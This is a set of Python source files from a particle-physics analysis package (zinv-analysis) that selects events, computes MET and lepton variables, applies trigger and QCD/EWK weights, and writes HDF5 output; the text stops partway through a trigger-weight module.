import os import inspect import pysge from cachetools import LFUCache from atuproot.atuproot_main import AtUproot from zinv.utils.gittools import git_diff, git_revision_hash from zinv.utils.cache_funcs import get_size from zinv.utils.datasets import get_datasets from zinv.utils import build_sequence import numpy as np import pandas as pd import logging logging.getLogger(__name__).setLevel(logging.INFO) logging.getLogger("alphatwirl").setLevel(logging.INFO) logging.getLogger("alphatwirl.progressbar.ProgressReport").setLevel(logging.ERROR) logging.getLogger(__name__).propagate = False logging.getLogger("alphatwirl").propagate = False logging.getLogger("atuproot.atuproot_main").propagate = False logging.getLogger("alphatwirl.progressbar.ProgressReport").propagate = False def generate_report(outdir, fname, args, values): # command filepath = os.path.join(outdir, "report.txt") cmd_block = ["{}(".format(fname)] for arg in args: cmd_block.append(" {} = {},".format(arg, repr(values[arg]))) cmd_block.append(")") with open(filepath, 'w') as f: f.write("\n".join(cmd_block)+"\n") # git hash filepath = os.path.join(outdir, "git_hash.txt") hash = git_revision_hash() with open(filepath, 'w') as f: f.write(hash) # git diff filepath = os.path.join(outdir, "git_diff.txt") with open(filepath, 'w') as f: f.write(git_diff()) # commands to checkout the hash with the diffs applied string = "#!/bin/bash\n" string += "git clone [email protected]:shane-breeze/zinv-analysis.git\n" string += "git checkout {}\n".format(hash) string += "git apply {}\n".format(os.path.abspath(filepath)) filepath = os.path.join(outdir, "git_checkout.sh") with open(filepath, 'w') as f: f.write(string) def process_results(results, outdir): dfs = [] for res in results: df_data = [] for r in results[0].readers: name = r.name coll = r.collect() for k, v in coll.items(): df_data.append({ "layer": name, "object": k, "time": pd.Timedelta(np.timedelta64(int(v), 'ns')), }) dfs.append(pd.DataFrame(df_data)) df = pd.concat(dfs).groupby(["layer", "object"]).sum() with open(os.path.join(outdir, "timing_report.txt"), 'w') as f: f.write(df.sort_values("time", ascending=False).to_string()) return results def run( sequence, datasets, name, outdir, tempdir, mode, batch_opts, ncores, nblocks_per_dataset, nblocks_per_process, nfiles_per_dataset, nfiles_per_process, blocksize, cachesize, quiet, dryrun, sample, predetermined_nevents_in_file, ): process = AtUproot( outdir, quiet = quiet, max_blocks_per_dataset = nblocks_per_dataset, max_blocks_per_process = nblocks_per_process, max_files_per_dataset = nfiles_per_dataset, max_files_per_process = nfiles_per_process, nevents_per_block = blocksize, predetermined_nevents_in_file=predetermined_nevents_in_file, branch_cache = LFUCache(int(cachesize*1024**3), get_size), ) tasks = process.run(datasets, sequence) if mode=="multiprocessing" and ncores==0: results = pysge.local_submit(tasks) elif mode=="multiprocessing": results = pysge.mp_submit(tasks, ncores=ncores) elif mode=="sge": results = pysge.sge_submit( tasks, name, tempdir, options=batch_opts, dryrun=dryrun, sleep=5, request_resubmission_options=True, return_files=True, ) return process_results(results, outdir) def analyse( dataset_cfg, sequence_cfg, event_selection_cfg, physics_object_cfg, trigger_cfg, hdf_cfg, name="zinv", outdir="output", tempdir="_ccsp_temp", mode="multiprocessing", batch_opts="-q hep.q", ncores=0, nblocks_per_dataset=-1, nblocks_per_process=-1, nfiles_per_dataset=-1, nfiles_per_process=1, blocksize=1_000_000, cachesize=8, quiet=False, dryrun=False, sample=None, ): outdir = os.path.abspath(outdir) dataset_cfg = os.path.abspath(dataset_cfg) sequence_cfg = os.path.abspath(sequence_cfg) event_selection_cfg = os.path.abspath(event_selection_cfg) physics_object_cfg = os.path.abspath(physics_object_cfg) trigger_cfg = os.path.abspath(trigger_cfg) hdf_cfg = os.path.abspath(hdf_cfg) if not os.path.exists(outdir): os.makedirs(outdir) os.makedirs(os.path.join(outdir, "failed")) frame = inspect.currentframe() args, _, _, values = inspect.getargvalues(frame) fname = inspect.getframeinfo(frame)[2] generate_report(outdir, fname, args, values) sequence = build_sequence( sequence_cfg, outdir, event_selection_cfg, physics_object_cfg, trigger_cfg, hdf_cfg, ) datasets = get_datasets(dataset_cfg) if sample is not None: if sample.lower() == "data": datasets = [d for d in datasets if "run2016" in d.name.lower()] elif sample.lower() == "mc": datasets = [d for d in datasets if "run2016" not in d.name.lower()] else: samples = sample.split(",") datasets = [d for d in datasets if d.name in samples or d.parent in samples] predetermined_nevents_in_file = { f: n for d in datasets for f, n in zip(d.files, d.file_nevents) } return run( sequence, datasets, name, outdir, tempdir, mode, batch_opts, ncores, nblocks_per_dataset, nblocks_per_process, nfiles_per_dataset, nfiles_per_process, blocksize, cachesize, quiet, dryrun, sample, predetermined_nevents_in_file, )
zinv-analysis
/zinv_analysis-0.3.2-py3-none-any.whl/zinv/modules/analyse.py
analyse.py
import os import shutil import time import numpy as np import pandas as pd import yaml from scipy.special import erfinv from tqdm.auto import tqdm from zinv.utils.Lambda import Lambda class HDF5Reader(object): def __init__(self, **kwargs): self.measure_timing = False self.attribute_timing = {} self.__dict__.update(kwargs) def merge(self, other): attribute_timing = {} for keys in set( list(self.attribute_timing.keys()) + list(other.attribute_timing.keys()) ): attribute_timing[keys] = ( self.attribute_timing.get(keys, 0.) + other.attribute_timing.get(keys, 0.) ) self.attribute_timing = attribute_timing def begin(self, event): with open(self.hdf5_config_path, 'r') as f: cfg = yaml.load(f) self.name = cfg["name"] self.attributes = cfg["attributes"] self.variations = cfg["variations"] self.dtypes = cfg["dtypes"] task = os.path.basename(os.getcwd()) outfile = "result.h5" if "SGE_TASK_ID" in os.environ: outfile = "result_{:05d}.h5".format(int(os.environ["SGE_TASK_ID"])-1) self.path = os.path.join(self.outdir, outfile) if os.path.exists(self.path): print("File already exists {}".format(self.path)) failed_dir = os.path.join(os.path.dirname(self.path), "failed") fail_idx = 0 failed_path = os.path.join( os.path.dirname(self.path), "failed", os.path.basename(self.path), ) + ".{:05d}".format(fail_idx) while os.path.exists(failed_path): fail_idx += 1 failed_path = failed_path[:-5] + "{:05d}".format(fail_idx) shutil.move(self.path, failed_path) data_or_mc = "Data" if event.config.dataset.isdata else "MC" attributes = self.attributes["Both"] attributes.update(self.attributes[data_or_mc]) self.attributes = attributes self.lambda_functions = { selection: Lambda(selection) for _, selection in self.attributes.items() } def end(self): self.lambda_functions = None def event(self, event): opts = ('', 0.) if len(self.variations) == 0: for df in self.chunk_events(event, opts=opts, chunksize=int(1e7)): df.to_hdf( self.path, self.name, format='table', append=True, complevel=9, complib='zlib', ) for source, vlabel, vval in self.variations: if vlabel == "percentile": nsig = np.sqrt(2)*erfinv(2*vval/100.-1) table_name = ( "_".join([self.name, "{}{}".format(source, vval)]) if source != "" else self.name ) elif vlabel == "sigmaval": nsig = vval updown = "Up" if nsig>=0. else "Down" updown = "{:.2f}".format(np.abs(nsig)).replace(".", "p") + updown table_name = ( "_".join([self.name, "{}{}".format(source, updown)]) if source != "" else self.name ) elif vlabel.lower() in ["up", "down"]: nsig = 1. if vlabel.lower()=="up" else -1. table_name = ( "_".join([self.name, "{}{}".format(source, vlabel)]) if source != "" else self.name ) else: nsig = 0. table_name = self.name opts = (source, nsig) for df in self.chunk_events(event, opts=opts, chunksize=int(1e7)): df.to_hdf( self.path, table_name, format='table', append=True, complevel=9, complib='zlib', ) def chunk_events(self, event, opts=[], chunksize=int(1e7)): # currently not chunking data = {} pbar = tqdm(self.attributes.items(), unit='attr') for attr, selection in pbar: pbar.set_description("{}, {}, {:.2f}".format(attr, *opts)) # Initialise timing if self.measure_timing: start = time.time_ns() # Process attr_val = self.lambda_functions[selection](event, *opts) data[attr] = attr_val # End timing if self.measure_timing: end = time.time_ns() if attr not in self.attribute_timing: self.attribute_timing[attr] = 0. self.attribute_timing[attr] += (end - start) yield ( pd.DataFrame(data, columns=self.attributes.keys()) .astype({k: self.dtypes[k] for k in self.attributes.keys()}) )
zinv-analysis
/zinv_analysis-0.3.2-py3-none-any.whl/zinv/modules/collectors/HDF5.py
HDF5.py
import yaml import numpy as np import awkward as awk import operator from cachetools import cachedmethod from cachetools.keys import hashkey from functools import partial, reduce from zinv.utils.Lambda import Lambda def evaluate_skim(ev, source, nsig, objname, name, cutlist): starts = getattr(ev, objname).pt.starts stops = getattr(ev, objname).pt.stops return awk.JaggedArray( starts, stops, reduce(operator.add, cutlist)(ev, source, nsig).content, ) def evaluate_this_not_that(ev, source, nsig, this, that): this_attr = getattr(ev, this)(ev, source, nsig) that_attr = getattr(ev, that)(ev, source, nsig) return this_attr & (~that_attr) class SkimCollections(object): def __init__(self, **kwargs): self.__dict__.update(kwargs) def begin(self, event): with open(self.physics_object_selection_path, 'r') as f: selection_functions = yaml.load(f) self.lambda_functions = { f: Lambda(f) for _, v in selection_functions.items() for f in v["selections"] } for outcoll, subdict in selection_functions.items(): incoll = subdict["original"] selections = [self.lambda_functions[s] for s in subdict["selections"]] name = "{}_{}Mask".format(incoll, outcoll) event.register_function( event, name, partial( evaluate_skim, objname=incoll, name=name, cutlist=selections, ), ) for outcoll, subdict in selection_functions.items(): if "Veto" not in outcoll: continue incoll = subdict["original"] name = "{}_{}Mask".format(incoll, outcoll) nosele_name = "{}_{}NoSelectionMask".format(incoll, outcoll) event.register_function( event, nosele_name, partial( evaluate_this_not_that, this=name, that=name.replace("Veto", "Selection"), ), ) def end(self): self.lambda_functions = None
zinv-analysis
/zinv_analysis-0.3.2-py3-none-any.whl/zinv/modules/readers/SkimCollections.py
SkimCollections.py
import urllib.request import numpy as np import pandas as pd import operator from cachetools import cachedmethod from cachetools.keys import hashkey from functools import partial from zinv.utils.NumbaFuncs import get_bin_indices, weight_numba def qcdewk_weight(ev, source, nsig, parent, input_paths, variations, input_df): weights = {} if parent not in input_paths: weights[""] = np.ones(ev.size, dtype=np.float32) for variation in variations[1:]: weights[variation] = np.zeros(ev.size, dtype=np.float32) else: indices = get_bin_indices( [ev.GenPartBoson(ev, 'pt')], [input_df.index.get_level_values("bin_min").values], [input_df.index.get_level_values("bin_max").values], 1, )[:,0] corrections = input_df.iloc[indices] weights[""] = corrections[""].values.astype(np.float32) for variation in variations[1:]: weights[variation] = ((corrections[variation]/corrections[""]).values - 1.).astype(np.float32) central = weights[""] try: up = weights[source+"Up"] down = weights[source+"Down"] except KeyError: up = np.zeros_like(central, dtype=np.float32) down = np.zeros_like(central, dtype=np.float32) return weight_numba(central, nsig, up, down) class WeightQcdEwk(object): def __init__(self, **kwargs): self.__dict__.update(kwargs) def begin(self, event): self.variations = [""]\ + [n+"Up" for n in self.variation_names]\ + [n+"Down" for n in self.variation_names] self.parent = event.config.dataset.parent if self.parent in self.input_paths: input_dict = {} global_bin_min = None global_bin_max = None for param in self.params: path, key = self.input_paths[self.parent] bin_min, bin_max, correction, _, _ = read_input(path, key.format(param)) if global_bin_min is None: global_bin_min = bin_min if global_bin_max is None: global_bin_max = bin_max assert np.all(global_bin_min == bin_min) assert np.all(global_bin_max == bin_max) input_dict[param] = correction input_df = pd.DataFrame(input_dict) input_df["bin_min"] = global_bin_min input_df["bin_max"] = global_bin_max input_df = input_df.set_index(["bin_min", "bin_max"]) input_df["isz"] = self.parent in ["ZJetsToNuNu", "DYJetsToLL", "ZJetsToLL", "GStarJetsToLL"] input_df["isw"] = self.parent in ["WJetsToLNu"] # nominal columns = [""] for var in self.variation_names: input_df[var] = 0 input_df[""] = input_df.eval(self.formula) # Up/down variations for var in self.variation_names: input_df[var] = 1 input_df[var+"Up"] = input_df.eval(self.formula) input_df[var] = -1 input_df[var+"Down"] = input_df.eval(self.formula) input_df[var] = 0 columns.append(var+"Up") columns.append(var+"Down") input_df = input_df[columns] if self.overflow: ser = input_df.iloc[-1,:] ser.name = (ser.name[-1], np.inf) input_df = input_df.append(ser) if self.underflow: ser = input_df.iloc[0,:] ser.name = (-np.inf, ser.name[0]) input_df = input_df.append(ser) input_df.iloc[-1,:] = 1 self.input_df = input_df.sort_index() else: self.input_df = None # Register function event.register_function( event, "WeightQcdEwk", partial( qcdewk_weight, parent=self.parent, input_paths=self.input_paths, variations=self.variations, input_df=self.input_df, ), ) def read_input(path, histname): with urllib.request.urlopen(path) as f: lines = f.read().decode("utf-8").splitlines() start_idx = next( idx for idx in range(len(lines)) if "# BEGIN HISTO1D {}".format(histname) in lines[idx] ) end_idx = next( idx for idx in range(start_idx, len(lines)) if "# END HISTO1D" in lines[idx] ) data = np.array([ [float(w) for w in l.split()] for l in lines[start_idx+2: end_idx] ]) bin_min, bin_max = data[:,0], data[:,1] correction = data[:,2] errdown, errup = data[:,3], data[:,4] return bin_min, bin_max, correction, errdown, errup
zinv-analysis
/zinv_analysis-0.3.2-py3-none-any.whl/zinv/modules/readers/WeightQcdEwk.py
WeightQcdEwk.py
import awkward as awk import numpy as np import numba as nb from functools import partial from . import Collection from zinv.utils.Geometry import DeltaR2, LorTHPMToXYZE, LorXYZEToTHPM class GenBosonProducer(object): def __init__(self, **kwargs): self.__dict__.update(kwargs) def begin(self, event): event.register_function(event, "nGenBosons", ngen_bosons) event.register_function(event, "GenLepCandidates", genpart_candidates) event.register_function(event, "GenPartBoson", genpart_boson) def ngen_bosons(ev): gp = ev.GenPart pdgs = gp.pdgId motheridx = gp.genPartIdxMother nb_mask = ( (np.abs(pdgs)==11) | (np.abs(pdgs)==12) | (np.abs(pdgs)==13) | (np.abs(pdgs)==14) | (np.abs(pdgs)==15) | (np.abs(pdgs)==16) | (np.abs(pdgs)==23) | (np.abs(pdgs)==24) ) & (motheridx==0) nbosons = np.zeros_like(pdgs.content, dtype=np.int32) nbosons[(nb_mask & (np.abs(pdgs)<20)).content] = 1 nbosons[(nb_mask & (np.abs(pdgs)>=20)).content] = 2 nbosons = awk.JaggedArray(pdgs.starts, pdgs.stops, nbosons) return nbosons.sum()/2 def create_genpart_candidates(ev, gp_mask, gdl_idx): @nb.njit(["UniTuple(float32[:],5)(int32[:],float32[:],float32[:],float32[:],float32[:],int64[:],int64[:],int64[:],int32[:],float32[:],float32[:],float32[:],float32[:],int64[:],int64[:])"]) def create_genpart_candidates_jit( gps_pdgId, gps_pt, gps_eta, gps_phi, gps_mass, gps_gdidx, gps_starts, gps_stops, gds_pdgId, gds_pt, gds_eta, gds_phi, gds_mass, gds_starts, gds_stops, ): pdgs = np.zeros_like(gps_pt, dtype=np.float32) pts = np.zeros_like(gps_pt, dtype=np.float32) etas = np.zeros_like(gps_pt, dtype=np.float32) phis = np.zeros_like(gps_pt, dtype=np.float32) masss = np.zeros_like(gps_pt, dtype=np.float32) for iev, (gps_start, gps_stop, gds_start, gds_stop) in enumerate(zip( gps_starts, gps_stops, gds_starts, gds_stops, )): x, y, z, e = 0., 0., 0., 0. for igps in range(gps_start, gps_stop): igds = gps_gdidx[igps] if igds >= 0: igds += gds_start pdgs[igps] = gds_pdgId[igds] pts[igps] = gds_pt[igds] etas[igps] = gds_eta[igds] phis[igps] = gds_phi[igds] masss[igps] = gds_mass[igds] else: pdgs[igps] = gps_pdgId[igps] pts[igps] = gps_pt[igps] etas[igps] = gps_eta[igps] phis[igps] = gps_phi[igps] masss[igps] = gps_mass[igps] return pdgs, pts, etas, phis, masss starts = ev.GenPart.pt[gp_mask].starts stops = ev.GenPart.pt[gp_mask].stops pdg, pt, eta, phi, mass = create_genpart_candidates_jit( ev.GenPart.pdgId[gp_mask].content, ev.GenPart.pt[gp_mask].content, ev.GenPart.eta[gp_mask].content, ev.GenPart.phi[gp_mask].content, ev.GenPart.mass[gp_mask].content, gdl_idx, starts, stops, ev.GenDressedLepton.pdgId.content, ev.GenDressedLepton.pt.content, ev.GenDressedLepton.eta.content, ev.GenDressedLepton.phi.content, ev.GenDressedLepton.mass.content, ev.GenDressedLepton.pt.starts, ev.GenDressedLepton.pt.stops, ) return ( awk.JaggedArray(starts, stops, pdg), awk.JaggedArray(starts, stops, pt), awk.JaggedArray(starts, stops, eta), awk.JaggedArray(starts, stops, phi), awk.JaggedArray(starts, stops, mass), ) def genpart_candidates(ev, attr): if not ev.hasbranch("GenLepCandidates_{}".format(attr)): gp = ev.GenPart flags = gp.statusFlags pdgs = gp.pdgId status = gp.status # Mask for boson decay products gp_mask = ( ((flags&1==1) & (flags&(1<<8)==(1<<8))) & ( (((np.abs(pdgs)==11) | (np.abs(pdgs)==13)) & (status==1) & ((flags&(1<<2)==0))) | ((np.abs(pdgs)==15) & (status==2)) | (((np.abs(pdgs)==12) | (np.abs(pdgs)==14) | (np.abs(pdgs)==16)) & (status==1)) ) ) genpart_dressedlepidx = genpart_matched_dressedlepton(ev, gp_mask) pdgId, pt, eta, phi, mass = create_genpart_candidates( ev, gp_mask, genpart_dressedlepidx, ) ev.GenLepCandidates_pdgId = pdgId.astype(np.int32) ev.GenLepCandidates_pt = pt ev.GenLepCandidates_eta = eta ev.GenLepCandidates_phi = phi ev.GenLepCandidates_mass = mass return getattr(ev, "GenLepCandidates_{}".format(attr)) def genpart_boson(ev, attr): if not ev.hasbranch("GenPartBoson_{}".format(attr)): pt, eta, phi, mass = create_genpart_boson(ev) ev.GenPartBoson_pt = pt ev.GenPartBoson_eta = eta ev.GenPartBoson_phi = phi ev.GenPartBoson_mass = mass return getattr(ev, "GenPartBoson_{}".format(attr)) def create_genpart_boson(ev): @nb.njit(["UniTuple(float32[:],4)(float32[:],float32[:],float32[:],float32[:],int64[:],int64[:],int64)"]) def create_genpart_boson_jit(pt, eta, phi, mass, starts, stops, nev): opt = np.zeros(nev, dtype=np.float32) oeta = np.zeros(nev, dtype=np.float32) ophi = np.zeros(nev, dtype=np.float32) omass = np.zeros(nev, dtype=np.float32) for iev, (start, stop) in enumerate(zip(starts, stops)): x, y, z, e = 0., 0., 0., 0. for iob in range(start, stop): tx, ty, tz, te = LorTHPMToXYZE( pt[iob], eta[iob], phi[iob], mass[iob], ) x += tx y += ty z += tz e += te t, h, p, m = LorXYZEToTHPM(x, y, z, e) opt[iev] = t oeta[iev] = h ophi[iev] = p omass[iev] = m return opt, oeta, ophi, omass return create_genpart_boson_jit( ev.GenLepCandidates(ev, 'pt').content, ev.GenLepCandidates(ev, 'eta').content, ev.GenLepCandidates(ev, 'phi').content, ev.GenLepCandidates(ev, 'mass').content, ev.GenLepCandidates(ev, 'pt').starts, ev.GenLepCandidates(ev, 'pt').stops, ev.size, ) def genpart_matched_dressedlepton(ev, gpmask): @nb.njit(["int64[:](int32[:],float32[:],float32[:],int64[:],int64[:],int32[:],float32[:],float32[:],int64[:],int64[:])"]) def genpart_matched_dressedlepton_jit( gps_pdg, gps_eta, gps_phi, gps_starts, gps_stops, gds_pdg, gds_eta, gds_phi, gds_starts, gds_stops, ): indices = -1*np.ones(gps_pdg.shape[0], dtype=np.int32) for iev, (gps_start, gps_stop, gds_start, gds_stop) in enumerate(zip( gps_starts, gps_stops, gds_starts, gds_stops, )): for igps in range(gps_start, gps_stop): for igds in range(gds_start, gds_stop): matched_pdg = (gps_pdg[igps] == gds_pdg[igds]) within_dr = (DeltaR2(gps_eta[igps]-gds_eta[igds], gps_phi[igps]-gds_phi[igds]) < 0.01) if matched_pdg and within_dr: indices[igps] = igds - gds_start break return indices return genpart_matched_dressedlepton_jit( ev.GenPart.pdgId[gpmask].content, ev.GenPart.eta[gpmask].content, ev.GenPart.phi[gpmask].content, ev.GenPart.pdgId[gpmask].starts, ev.GenPart.pdgId[gpmask].stops, ev.GenDressedLepton.pdgId.content, ev.GenDressedLepton.eta.content, ev.GenDressedLepton.phi.content, ev.GenDressedLepton.pdgId.starts, ev.GenDressedLepton.pdgId.stops, )
zinv-analysis
/zinv_analysis-0.3.2-py3-none-any.whl/zinv/modules/readers/GenBosonProducer.py
GenBosonProducer.py
import numpy as np import numba as nb import operator from cachetools import cachedmethod from cachetools.keys import hashkey from functools import partial from zinv.utils.Geometry import ( BoundPhi, RadToCart2D, CartToRad2D, LorTHPMToXYZE, LorXYZEToTHPM ) def evaluate_metnox(ev, source, nsig, coll, attr): @nb.njit(["UniTuple(float32[:],2)(float32[:],float32[:],float32[:],float32[:],int64[:],int64[:],float32[:],float32[:],int64[:],int64[:])"]) def metnox_numba( met, mephi, mupt, muphi, mustarts, mustops, elept, elephi, elestarts, elestops, ): mex, mey = RadToCart2D(met, mephi) mux, muy = RadToCart2D(mupt, muphi) elex, eley = RadToCart2D(elept, elephi) for idx, (mstart, mstop, estart, estop) in enumerate(zip( mustarts, mustops, elestarts, elestops )): mex[idx] += mux[mstart:mstop].sum() + elex[estart:estop].sum() mey[idx] += muy[mstart:mstop].sum() + eley[estart:estop].sum() return CartToRad2D(mex, mey) arg = 1 if attr=='phi' else 0 return metnox_numba( getattr(ev, "{}_ptShift".format(coll))(ev, source, nsig), getattr(ev, "{}_phiShift".format(coll))(ev, source, nsig), ev.MuonSelection(ev, source, nsig, 'ptShift').content, ev.MuonSelection(ev, source, nsig, 'phi').content, ev.MuonSelection(ev, source, nsig, 'phi').starts, ev.MuonSelection(ev, source, nsig, 'phi').stops, ev.ElectronSelection(ev, source, nsig, 'ptShift').content, ev.ElectronSelection(ev, source, nsig, 'phi').content, ev.ElectronSelection(ev, source, nsig, 'phi').starts, ev.ElectronSelection(ev, source, nsig, 'phi').stops, )[arg].astype(np.float32) def evaluate_metnox_sumet(ev, source, nsig, coll): @nb.njit(["float32[:](float32[:], float32[:], int64[:], int64[:], float32[:], int64[:], int64[:])"]) def nb_evaluate_metnox_sumet( sumet, mpt, mstas, mstos, ept, estas, estos, ): csumet = np.zeros_like(sumet, dtype=np.float32) for iev, (msta, msto, esta, esto) in enumerate(zip( mstas, mstos, estas, estos, )): csumet[iev] = sumet[iev] - mpt[msta:msto].sum() - ept[esta:esto].sum() return csumet return nb_evaluate_metnox_sumet( getattr(ev, "{}_sumEtShift".format(coll))(ev, source, nsig), ev.MuonSelection(ev, source, nsig, 'ptShift').content, ev.MuonSelection(ev, source, nsig, 'phi').starts, ev.MuonSelection(ev, source, nsig, 'phi').stops, ev.ElectronSelection(ev, source, nsig, 'ptShift').content, ev.ElectronSelection(ev, source, nsig, 'phi').starts, ev.ElectronSelection(ev, source, nsig, 'phi').stops, ) def evaluate_mindphi(ev, source, nsig, coll, njets): @nb.njit(["float32[:](float32[:],int64[:],int64[:],int64,float32[:])"]) def mindphi_numba(jphi, jstarts, jstops, njets_, mephi): dphi = np.zeros_like(mephi, dtype=np.float32) for iev, (start, stops) in enumerate(zip(jstarts, jstops)): delta = min(njets_, stops-start) if delta>0: dphi[iev] = np.abs(BoundPhi( jphi[start:start+delta] - mephi[iev] )).min() else: dphi[iev] = np.nan return dphi jphis = ev.JetSelection(ev, source, nsig, 'phi') return mindphi_numba( jphis.content, jphis.starts, jphis.stops, njets, getattr(ev, "{}_phi".format(coll))(ev, source, nsig), ) def evaluate_met_dcalo(ev, source, nsig, coll): @nb.njit(["float32[:](float32[:],float32[:],float32[:])"]) def met_dcalo_numba(pfmet, calomet, metnox): return np.abs(pfmet-calomet)/metnox return met_dcalo_numba( getattr(ev, "{}_ptShift".format(coll))(ev, source, nsig), ev.CaloMET_pt, getattr(ev, "{}noX_pt".format(coll))(ev, source, nsig), ) def return_evaluate_met_dcalo(ev): source, nsig = ev.source, ev.nsig if source not in ev.attribute_variation_sources: source, nsig = '', 0. return fevaluate_met_dcalo(ev, ev.iblock, nsig, source) return return_evaluate_met_dcalo def evaluate_mtw(ev, source, nsig, coll): @nb.njit(["float32(float32,float32)"]) def mtw_numba(ptprod, dphi): return np.sqrt(2*ptprod*(1-np.cos(dphi))) @nb.njit(["float32[:](float32[:],float32[:],float32[:],float32[:],int64[:],int64[:],float32[:],float32[:],int64[:],int64[:])"]) def event_mtw_numba( met, mephi, mupt, muphi, mustarts, mustops, elept, elephi, elestarts, elestops, ): mtw = np.zeros_like(met, dtype=np.float32) for iev, (msta, msto, esta, esto) in enumerate(zip( mustarts, mustops, elestarts, elestops )): if msto-msta == 1 and esto-esta == 0: mtw[iev] = mtw_numba( met[iev]*mupt[msta], mephi[iev]-muphi[msta], ) elif esto-esta == 1 and msto-msta == 0: mtw[iev] = mtw_numba( met[iev]*elept[esta], mephi[iev]-elephi[esta], ) else: mtw[iev] = np.nan return mtw mupts = ev.MuonSelection(ev, source, nsig, 'ptShift') epts = ev.ElectronSelection(ev, source, nsig, 'ptShift') return event_mtw_numba( getattr(ev, "{}_ptShift".format(coll))(ev, source, nsig), getattr(ev, "{}_phiShift".format(coll))(ev, source, nsig), mupts.content, ev.MuonSelection(ev, source, nsig, 'phi').content, mupts.starts, mupts.stops, epts.content, ev.ElectronSelection(ev, source, nsig, 'phi').content, epts.starts, epts.stops, ) def return_evaluate_mtw(ev): source, nsig = ev.source, ev.nsig if source not in ev.attribute_variation_sources: source, nsig = '', 0. return fevaluate_mtw(ev, ev.iblock, nsig, source) return return_evaluate_mtw def evaluate_mll(ev, source, nsig): @nb.njit(["float32[:](float32[:],float32[:],float32[:],float32[:],int64[:],int64[:],float32[:],float32[:],float32[:],float32[:],int64[:],int64[:],int64)"]) def event_mll_numba( mpt, meta, mphi, mmass, mstas, mstos, ept, eeta, ephi, emass, estas, estos, evsize, ): mll = np.zeros(evsize, dtype=np.float32) for iev, (msta, msto, esta, esto) in enumerate(zip( mstas, mstos, estas, estos, )): if msto - msta == 2 and esto - esta == 0: x1, y1, z1, e1 = LorTHPMToXYZE( mpt[msta], meta[msta], mphi[msta], mmass[msta], ) x2, y2, z2, e2 = LorTHPMToXYZE( mpt[msta+1], meta[msta+1], mphi[msta+1], mmass[msta+1], ) mll[iev] = LorXYZEToTHPM(x1+x2, y1+y2, z1+z2, e1+e2)[-1] elif esto - esta == 2 and msto - msta == 0: x1, y1, z1, e1 = LorTHPMToXYZE( ept[esta], eeta[esta], ephi[esta], emass[esta], ) x2, y2, z2, e2 = LorTHPMToXYZE( ept[esta+1], eeta[esta+1], ephi[esta+1], emass[esta+1], ) mll[iev] = LorXYZEToTHPM(x1+x2, y1+y2, z1+z2, e1+e2)[-1] else: mll[iev] = np.nan return mll mpts = ev.MuonSelection(ev, source, nsig, 'ptShift') epts = ev.ElectronSelection(ev, source, nsig, 'ptShift') return event_mll_numba( mpts.content, ev.MuonSelection(ev, source, nsig, 'eta').content, ev.MuonSelection(ev, source, nsig, 'phi').content, ev.MuonSelection(ev, source, nsig, 'mass').content, mpts.starts, mpts.stops, epts.content, ev.ElectronSelection(ev, source, nsig, 'eta').content, ev.ElectronSelection(ev, source, nsig, 'phi').content, ev.ElectronSelection(ev, source, nsig, 'mass').content, epts.starts, epts.stops, ev.size, ) def return_evaluate_mll(ev): source, nsig = ev.source, ev.nsig if source not in ev.attribute_variation_sources: source, nsig = '', 0. return fevaluate_mll(ev, ev.iblock, nsig, source) return return_evaluate_mll def evaluate_lepton_charge(ev, source, nsig): @nb.njit(["int32[:](int32[:],int64[:],int64[:],int32[:],int64[:],int64[:],int64)"]) def lepton_charge_numba(mcharge, mstas, mstos, echarge, estas, estos, evsize): charge = np.zeros(evsize, dtype=np.int32) for iev, (msta, msto, esta, esto) in enumerate(zip( mstas, mstos, estas, estos, )): if msto - msta > 0: charge[iev] += mcharge[msta:msto].sum() if esto - esta > 0: charge[iev] += echarge[esta:esto].sum() return charge mcharge = ev.MuonSelection(ev, source, nsig, 'charge') echarge = ev.ElectronSelection(ev, source, nsig, 'charge') return lepton_charge_numba( mcharge.content, mcharge.starts, mcharge.stops, echarge.content, echarge.starts, echarge.stops, ev.size, ) class EventFunctions(object): def __init__(self, **kwargs): self.__dict__.update(kwargs) def begin(self, event): event.register_function(event, "METnoX_pt", partial(evaluate_metnox, coll="MET", attr='pt')) event.register_function(event, "METnoX_phi", partial(evaluate_metnox, coll="MET", attr='phi')) event.register_function(event, "METnoX_sumEt", partial(evaluate_metnox_sumet, coll="MET")) event.register_function(event, "MinDPhiJ1234METnoX", partial(evaluate_mindphi, coll="METnoX", njets=4)) event.register_function(event, "MET_dCaloMET", partial(evaluate_met_dcalo, coll="MET")) event.register_function(event, "PuppiMETnoX_pt", partial(evaluate_metnox, coll="PuppiMET", attr='pt')) event.register_function(event, "PuppiMETnoX_phi", partial(evaluate_metnox, coll="PuppiMET", attr='phi')) event.register_function(event, "PuppiMETnoX_sumEt", partial(evaluate_metnox_sumet, coll="PuppiMET")) event.register_function(event, "MinDPhiJ1234PuppiMETnoX", partial(evaluate_mindphi, coll="PuppiMETnoX", njets=4)) event.register_function(event, "PuppiMET_dCaloMET", partial(evaluate_met_dcalo, coll="PuppiMET")) event.register_function(event, "MTW", partial(evaluate_mtw, coll="MET")) event.register_function(event, "PuppiMTW", partial(evaluate_mtw, coll="PuppiMET")) event.register_function(event, "MLL", evaluate_mll) event.register_function(event, "LeptonCharge", evaluate_lepton_charge)
zinv-analysis
/zinv_analysis-0.3.2-py3-none-any.whl/zinv/modules/readers/EventFunctions.py
EventFunctions.py
import numpy as np import numba as nb import pandas as pd import operator from cachetools import cachedmethod from cachetools.keys import hashkey from functools import partial from zinv.utils.NumbaFuncs import interp, weight_numba def evaluate_met_trigger(ev, source, nsig, cats, xcents, params): @nb.njit def met_trigger_numba(cats_, xcents_, incorr, nmuons, met): nev = met.shape[0] output = np.ones(nev, dtype=np.float32) for iev in range(nev): if nmuons[iev] not in cats_: continue cat = cats_.index(nmuons[iev]) output[iev] = interp(met[iev], xcents_[cat].astype(np.float32), incorr[cat].astype(np.float32)) return output nmuons = ev.MuonSelection(ev, source, nsig, 'pt').counts metnox = ev.METnoX_pt(ev, source, nsig) wmet = met_trigger_numba(cats, xcents, params[0], nmuons, metnox) up = np.zeros_like(wmet) down = np.zeros_like(wmet) zero_mask = (wmet!=0.) if source == "metTrigStat": up[zero_mask] = met_trigger_numba(cats, xcents, params[1], nmuons, metnox)[zero_mask]/wmet[zero_mask] - 1. down[zero_mask] = met_trigger_numba(cats, xcents, params[2], nmuons, metnox)[zero_mask]/wmet[zero_mask] - 1. elif source == "metTrigSyst": up[zero_mask] = met_trigger_numba(cats, xcents, params[3], nmuons, metnox)[zero_mask]/wmet[zero_mask] - 1. down[zero_mask] = met_trigger_numba(cats, xcents, params[4], nmuons, 